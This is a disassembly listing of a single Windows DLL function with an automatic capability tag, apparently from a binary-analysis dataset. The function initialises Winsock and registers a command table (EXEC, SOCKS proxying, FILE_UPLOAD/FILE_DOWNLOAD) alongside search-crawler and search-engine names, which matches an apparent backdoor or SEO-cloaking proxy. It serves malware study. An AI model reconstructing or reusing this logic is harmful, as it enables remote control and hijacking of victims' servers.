Function at 0x1800057f0
Capabilities:
Initialize winsock library

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
mov qword [rbp - 0x21], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x180051088]
xor rax, rsp
mov qword [rbp + 0x3f], rax
test edx, edx
je 0x180006611
cmp edx, 1
jne 0x180006617
mov r8d, 0x1000
lea rbx, [0x180053a10]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, eax
mov esi, 0x69
lea r14d, [rsi + 5]
cmp eax, 4
jbe 0x18000586d
add eax, 0xfffffffd
mov word [rbx + rax*2], si
lea eax, [rdx - 2]
mov word [rbx + rax*2], r14w
lea eax, [rdx - 1]
mov word [rbx + rax*2], si
mov qword [rbp + 0x17], send
xor edi, edi
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], dil
lea r8d, [rdi + 7]
lea rdx, str.DllMain
lea rcx, [rbp - 1]
call fcn.1800087f0
lea rcx, [rbp - 1]
call fcn.1800077b0
mov ecx, 0x202
lea rdx, [0x180053870]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], dil
lea r8d, [rdi + 4]
lea rdx, str.EXEC
lea rcx, [rbp - 1]
call fcn.1800087f0
nop
lea rdx, [rbp - 1]
call fcn.18000ccf0
mov rbx, rax
cmp rax, qword [0x180055ac0]
je 0x1800058f9
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180008230
test al, al
je 0x180005923
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000d070
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000d0d0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], 0x64
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005980
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x18000597b
test cl, 0x1f
je 0x18000594e
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18000595d
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x18000596c
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180005978
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, 7
lea rdx, str.EXECPRO
lea rcx, [rbp - 1]
call fcn.1800087f0
nop
lea rdx, [rbp - 1]
call fcn.18000ccf0
mov rbx, rax
cmp rax, qword [0x180055ac0]
je 0x1800059cd
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180008230
test al, al
je 0x1800059f7
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000d070
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000d0d0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], 0x65
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005a54
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180005a4f
test cl, 0x1f
je 0x180005a22
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005a31
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005a40
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180005a4c
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.SOCKS_HELLO
lea rcx, [rbp - 1]
call fcn.1800087f0
nop
lea rdx, [rbp - 1]
call fcn.18000ccf0
mov rbx, rax
cmp rax, qword [0x180055ac0]
je 0x180005aa1
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180008230
test al, al
je 0x180005acb
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000d070
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000d0d0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], 0x66
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005b28
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180005b23
test cl, 0x1f
je 0x180005af6
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005b05
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005b14
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180005b20
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, recv
lea rdx, str.SOCKS_CONNECT
lea rcx, [rbp - 1]
call fcn.1800087f0
nop
lea rdx, [rbp - 1]
call fcn.18000ccf0
mov rbx, rax
cmp rax, qword [0x180055ac0]
je 0x180005b75
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180008230
test al, al
je 0x180005b9f
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000d070
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000d0d0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], 0x67
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005bfc
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180005bf7
test cl, 0x1f
je 0x180005bca
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005bd9
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005be8
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180005bf4
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.SOCKS_DISCONNECT
lea rcx, [rbp - 1]
call fcn.1800087f0
nop
lea rdx, [rbp - 1]
call fcn.18000ccf0
mov rbx, rax
cmp rax, qword [0x180055ac0]
je 0x180005c49
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180008230
test al, al
je 0x180005c73
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000d070
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000d0d0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], 0x68
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005cd0
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180005ccb
test cl, 0x1f
je 0x180005c9e
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005cad
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005cbc
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180005cc8
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, 0xa
lea rdx, str.SOCKS_READ
lea rcx, [rbp - 1]
call fcn.1800087f0
nop
lea rdx, [rbp - 1]
call fcn.18000ccf0
mov rbx, rax
cmp rax, qword [0x180055ac0]
je 0x180005d1d
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180008230
test al, al
je 0x180005d47
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000d070
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000d0d0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], esi
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005da0
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180005d9b
test cl, 0x1f
je 0x180005d6e
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005d7d
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005d8c
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180005d98
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, recv
lea rdx, str.SOCKS_FORWARD
lea rcx, [rbp - 1]
call fcn.1800087f0
nop
lea rdx, [rbp - 1]
call fcn.18000ccf0
mov rbx, rax
cmp rax, qword [0x180055ac0]
je 0x180005ded
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180008230
test al, al
je 0x180005e17
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000d070
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000d0d0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], WSAGetLastError
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005e74
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180005e6f
test cl, 0x1f
je 0x180005e42
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005e51
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005e60
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180005e6c
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, reloc.WS2_32.dll_inet_ntoa
lea rdx, str.PROXY_ENABLE
lea rcx, [rbp - 1]
call fcn.1800087f0
nop
lea rdx, [rbp - 1]
call fcn.18000ccf0
mov rbx, rax
cmp rax, qword [0x180055ac0]
je 0x180005ec1
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180008230
test al, al
je 0x180005eeb
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000d070
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000d0d0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], WSAGetLastError
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x180005f48
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180005f43
test cl, 0x1f
je 0x180005f16
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005f25
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180005f34
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180005f40
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, 0xa
lea rdx, str.PROXY_LIST
lea rcx, [rbp - 1]
call fcn.1800087f0
nop
lea rdx, [rbp - 1]
call fcn.18000ccf0
mov rbx, rax
cmp rax, qword [0x180055ac0]
je 0x180005f95
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180008230
test al, al
je 0x180005fbf
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000d070
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000d0d0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], WSAGetLastError
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x18000601c
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x180006017
test cl, 0x1f
je 0x180005fea
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180005ff9
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180006008
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180006014
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, 9
lea rdx, str.PROXY_ADD
lea rcx, [rbp - 1]
call fcn.1800087f0
nop
lea rdx, [rbp - 1]
call fcn.18000ccf0
mov rbx, rax
cmp rax, qword [0x180055ac0]
je 0x180006069
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180008230
test al, al
je 0x180006093
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000d070
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000d0d0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], WSAGetLastError
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x1800060f0
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x1800060eb
test cl, 0x1f
je 0x1800060be
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1800060cd
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x1800060dc
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x1800060e8
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, 9
lea rdx, str.PROXY_DEL
lea rcx, [rbp - 1]
call fcn.1800087f0
nop
lea rdx, [rbp - 1]
call fcn.18000ccf0
mov rbx, rax
cmp rax, qword [0x180055ac0]
je 0x18000613d
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180008230
test al, al
je 0x180006167
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000d070
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000d0d0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], r14d
mov rax, qword [rbp + 0x17]
cmp rax, 0x10
jb 0x1800061c1
inc rax
mov rcx, qword [rbp - 1]
cmp rax, 0x1000
jb 0x1800061bc
test cl, 0x1f
je 0x18000618f
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18000619e
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x1800061ad
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x1800061b9
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rbp + 0x17], send
mov qword [rbp + 0xf], rdi
mov byte [rbp - 1], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.PROXY_CLEAR
lea rcx, [rbp - 1]
call fcn.1800087f0
nop
lea rdx, [rbp - 1]
call fcn.18000ccf0
mov rbx, rax
cmp rax, qword [0x180055ac0]
je 0x18000620e
lea r8, [rax + 0x20]
lea rdx, [rbp - 1]
call fcn.180008230
test al, al
je 0x180006238
lea rax, [rbp - 1]
mov qword [rbp - 0x29], rax
lea r8, [rbp - 0x29]
call fcn.18000d070
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x29]
call fcn.18000d0d0
mov rbx, qword [rbp - 0x29]
mov dword [rbx + 0x40], reloc.WS2_32.dll_WSAGetLastError
mov r8, qword [rbp + 0x17]
cmp r8, 0x10
jb 0x180006259
inc r8
mov rdx, qword [rbp - 1]
lea rcx, [rbp - 1]
call fcn.180009270
mov qword [rbp + 0x17], send
xor edx, edx
lea rcx, [rbp - 1]
call fcn.180008700
lea rdx, str.PROXY_LIST_CONTENT
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
call fcn.180006850
mov dword [rax], WSACleanup
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.PROXY_ADD_CONTENT
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
call fcn.180006850
mov dword [rax], WSACleanup
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.PROXY_GET_CONTENT
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
call fcn.180006850
mov dword [rax], WSACleanup
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.PROXY_DEL_CONTENT
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
call fcn.180006850
mov dword [rax], reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.PROXY_CLEAR_CONTENT
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
call fcn.180006850
mov dword [rax], reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.PROXY_SET_JS
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
call fcn.180006850
mov dword [rax], 0x75
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.PROXY_GET_JS
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
call fcn.180006850
mov dword [rax], 0x76
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.PROXY_ALLOW_PC
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
call fcn.180006850
mov dword [rax], 0x77
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.PROXY_CACHE_CLEAR
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
call fcn.180006850
mov dword [rax], 0x78
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.PROXY_CACHE_TIME
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
call fcn.180006850
mov dword [rax], 0x79
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.FILE_UPLOAD
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
call fcn.180006850
mov dword [rax], 0x7a
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.FILE_DOWNLOAD
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
call fcn.180006850
mov dword [rax], 0x7b
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.baiduspider
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
lea rcx, [0x180055ad0]
call fcn.180006790
mov dword [rax], 1
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.googlebot
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
lea rcx, [0x180055ad0]
call fcn.180006790
mov dword [rax], 1
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, [0x180055a30]
lea rcx, [rbp + 0x1f]
call fcn.180007960
nop
lea rdx, [rbp - 0x29]
lea rcx, [rbp + 0x1f]
call fcn.180007520
mov r9, rax
lea rdx, [rbp - 0x19]
call fcn.1800074d0
mov r8, rax
lea rdx, [rbp - 0x11]
call fcn.180007500
mov r9, qword [r9]
mov r8, qword [r8]
mov rdx, qword [rax]
lea rcx, [rbp - 9]
call fcn.18000be40
mov dl, 0x7c
lea rcx, [rbp + 0x1f]
call fcn.180007410
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180006575
nop dword [rax]
nop dword [rax + rax]
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp - 1]
lea rcx, [rbp + 0x1f]
call fcn.1800073d0
nop
mov rdx, rax
lea rcx, [0x180055ae0]
call fcn.180006790
mov dword [rax], 1
lea rcx, [rbp - 1]
call fcn.1800077b0
lea r8, [rbx + 1]
xor edx, edx
lea rcx, [rbp + 0x1f]
call fcn.180007540
mov dl, 0x7c
lea rcx, [rbp + 0x1f]
call fcn.180007410
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180006520
lea rdx, str.google.com
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
lea rcx, [0x180055af0]
call fcn.180006790
mov dword [rax], 1
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.google.com.vn
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
lea rcx, [0x180055af0]
call fcn.180006790
mov dword [rax], 1
lea rcx, [rbp - 1]
call fcn.1800077b0
lea rdx, str.coccoc.com
lea rcx, [rbp - 1]
call fcn.180007900
nop
lea rdx, [rbp - 1]
lea rcx, [0x180055af0]
call fcn.180006790
mov dword [rax], 1
lea rcx, [rbp - 1]
call fcn.1800077b0
nop
lea rcx, [rbp + 0x1f]
call fcn.1800077b0
jmp 0x180006617
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.1800161f0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret